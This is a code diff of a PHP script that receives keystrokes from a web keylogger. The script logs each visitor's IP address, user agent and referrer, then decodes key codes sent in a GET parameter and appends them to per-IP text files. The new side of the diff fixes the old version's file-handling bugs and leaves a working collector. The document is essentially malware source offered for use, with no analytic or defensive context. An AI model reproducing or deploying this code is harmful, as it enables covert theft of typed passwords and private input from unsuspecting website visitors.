|
1 | 1 | <?php |
2 | | -//get user Data |
3 | | -$time= date("d.m.Y H:i"); //time |
4 | | -$ip = getenv("REMOTE_ADDR"); //get ip address |
5 | | -$agent = getenv("HTTP_USER_AGENT"); //get user agent of visitor |
6 | | -$ref = getenv("HTTP_REFERER"); //get referrer |
7 | | -$logentry = $time." - IP: ".$ip." | UsrAgent: ".$agent." | Referrer: ".$ref."\r\n"; |
| 2 | +// User Information |
| 3 | +$time = date("d.m.Y H:i"); |
| 4 | +$ip = $_SERVER['REMOTE_ADDR']; |
| 5 | +$agent = $_SERVER['HTTP_USER_AGENT'] ?? 'unknown'; |
| 6 | +$ref = $_SERVER['HTTP_REFERER'] ?? 'no referrer'; |
| 7 | +$key = $_GET['a'] ?? 'NO_KEY'; |
8 | 8 |
|
9 | | -$filename = "keylog_".$ip."txt"; |
10 | | -$fp = file_get_contents($filename) or die("Could not open log file."); |
| 9 | +// File |
| 10 | +$filename = "keylog_" . $ip . ".txt"; |
11 | 11 |
|
12 | | -if (file_exists(dirname(__FILE__)."/".$filename)) { |
13 | | - $newheader = "\r\n";//new line |
14 | | - $newheader .= $fp; |
15 | | - file_put_contents($filename,$newheader) or die("Could not write file!"); // if file exist made a new header |
16 | | -} |
| 12 | +// Prepare Log Entry |
| 13 | +$logentry = "$time - IP: $ip | Key: $key | Agent: $agent | Ref: $ref\r\n"; |
17 | 14 |
|
18 | | -//write user data as header |
19 | | -$header = $logentry; |
20 | | -$header .= "\n"; |
21 | | -file_put_contents($filename, $header) or die("Could not write file!"); |
| 15 | +// Append Log Entry |
| 16 | +file_put_contents($filename, $logentry, FILE_APPEND) or die("Could not write file!"); |
22 | 17 |
|
23 | | -//if the keylogger get input |
24 | | - if(isset($_GET["a"]) and $_GET["a"] != "undefined"){ |
25 | | - $keys = $_GET["a"]; |
26 | | - |
27 | | - switch ($keys) { |
28 | | - case "0x8": |
29 | | - $keys = "[<--]";//backspace |
30 | | - $keylog = $keys; |
31 | | - break; |
32 | | - |
33 | | - case "0x9": |
34 | | - $keys = "[TAP]";//tap |
35 | | - $keylog = $keys; |
36 | | - break; |
37 | | - |
38 | | - case "0x13": |
39 | | - $keys = "[ENTER]";//enter-key |
40 | | - $keylog = $keys; |
41 | | - break; |
42 | | - |
43 | | - case "0x17": |
44 | | - $keys = "[ctrl]";//ctrl -key |
45 | | - $keylog = $keys; |
46 | | - break; |
47 | | - |
48 | | - case "0x18": |
49 | | - $keys = "[ALT]";//alt-key |
50 | | - $keylog = $keys; |
51 | | - break; |
52 | | - |
53 | | - case "0x27": |
54 | | - $keys = "[Esc]";//esc key |
55 | | - $keylog = $keys; |
56 | | - break; |
57 | | - |
58 | | - case "0x35": |
59 | | - $keys = "[end]";//end key |
60 | | - $keylog = $keys; |
61 | | - break; |
62 | | - |
63 | | - case "0x36": |
64 | | - $keys = "[home]";//home key |
65 | | - $keylog = $keys; |
66 | | - break; |
67 | | - |
68 | | - case " ": |
69 | | - $keys = " ";//space |
70 | | - $keylog = $keys; |
71 | | - break; |
72 | | - |
73 | | - default: |
74 | | - $keylog = chr($keys); |
75 | | - } |
| 18 | +// Special Keys |
| 19 | +if (isset($_GET["a"]) && $_GET["a"] != "undefined") { |
| 20 | + $keys = $_GET["a"]; |
76 | 21 |
|
77 | | - file_put_contents($fp,$keylog); |
78 | | - } |
79 | | -echo ":EOF"; |
80 | | -?> |
| 22 | + switch ($keys) { |
| 23 | + case "0x8": $keylog = "[<--]"; break; |
| 24 | + case "0x9": $keylog = "[TAB]"; break; |
| 25 | + case "0x13": $keylog = "[ENTER]"; break; |
| 26 | + case "0x17": $keylog = "[CTRL]"; break; |
| 27 | + case "0x18": $keylog = "[ALT]"; break; |
| 28 | + case "0x27": $keylog = "[ESC]"; break; |
| 29 | + case "0x35": $keylog = "[END]"; break; |
| 30 | + case "0x36": $keylog = "[HOME]"; break; |
| 31 | + case " ": $keylog = "[SPACE]"; break; |
| 32 | + default: |
| 33 | + // Convert to Key (e.g. '65' → 'A') |
| 34 | + if (is_numeric($keys)) { |
| 35 | + $keylog = chr((int)$keys); |
| 36 | + } else { |
| 37 | + $keylog = "[UNKNOWN:$keys]"; |
| 38 | + } |
| 39 | + } |
| 40 | + |
| 41 | + // Write to file |
| 42 | + file_put_contents($filename, "KEYLOG: $keylog\n", FILE_APPEND); |
| 43 | +} |
| 44 | + |
| 45 | +echo "✅ :EOF"; |
0 commit comments